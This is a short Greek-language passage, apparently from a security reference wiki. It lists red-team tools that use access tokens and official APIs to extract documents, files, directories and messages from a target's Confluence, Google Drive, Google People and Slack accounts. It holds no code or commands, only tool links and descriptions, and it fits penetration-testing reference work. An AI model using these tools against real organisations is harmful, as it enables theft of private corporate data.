- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Αυτό το Module θα συνδεθεί με το API του Confluence χρησιμοποιώντας ένα access token, θα εξάγει σε PDF και θα κατεβάσει τα έγγραφα του Confluence στα οποία έχει πρόσβαση ο στόχος.
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Εργαλείο Red Team για την εξαγωγή αρχείων από το Google Drive ενός στόχου που έχετε πρόσβαση, μέσω του Google Drive API. Αυτό περιλαμβάνει όλα τα κοινά αρχεία, όλα τα αρχεία από κοινά drives και όλα τα αρχεία από drives τομέα στα οποία έχει πρόσβαση ο στόχος.
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Εργαλείο Red Team για την εξαγωγή του Google People Directory της στοχοθετημένης οργάνωσης που έχετε πρόσβαση, μέσω του Google People API.
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Αυτό είναι ένα εργαλείο που αναπτύχθηκε σε Python και χρησιμοποιεί τα εγγενή APIs του Slack για να εξάγει 'ενδιαφέρουσες' πληροφορίες από έναν χώρο εργασίας Slack δεδομένου ενός access token.
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Το Slackhound είναι ένα εργαλείο γραμμής εντολών για τις κόκκινες και μπλε ομάδες για να εκτελούν γρήγορα αναγνώριση ενός χώρου εργασίας/οργάνωσης Slack. Το Slackhound καθιστά τη συλλογή χρηστών, αρχείων, μηνυμάτων κ.λπ. μιας οργάνωσης γρήγορα αναζητήσιμη και μεγάλα αντικείμενα γράφονται σε CSV για offline ανασκόπηση.
{{#include ./banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More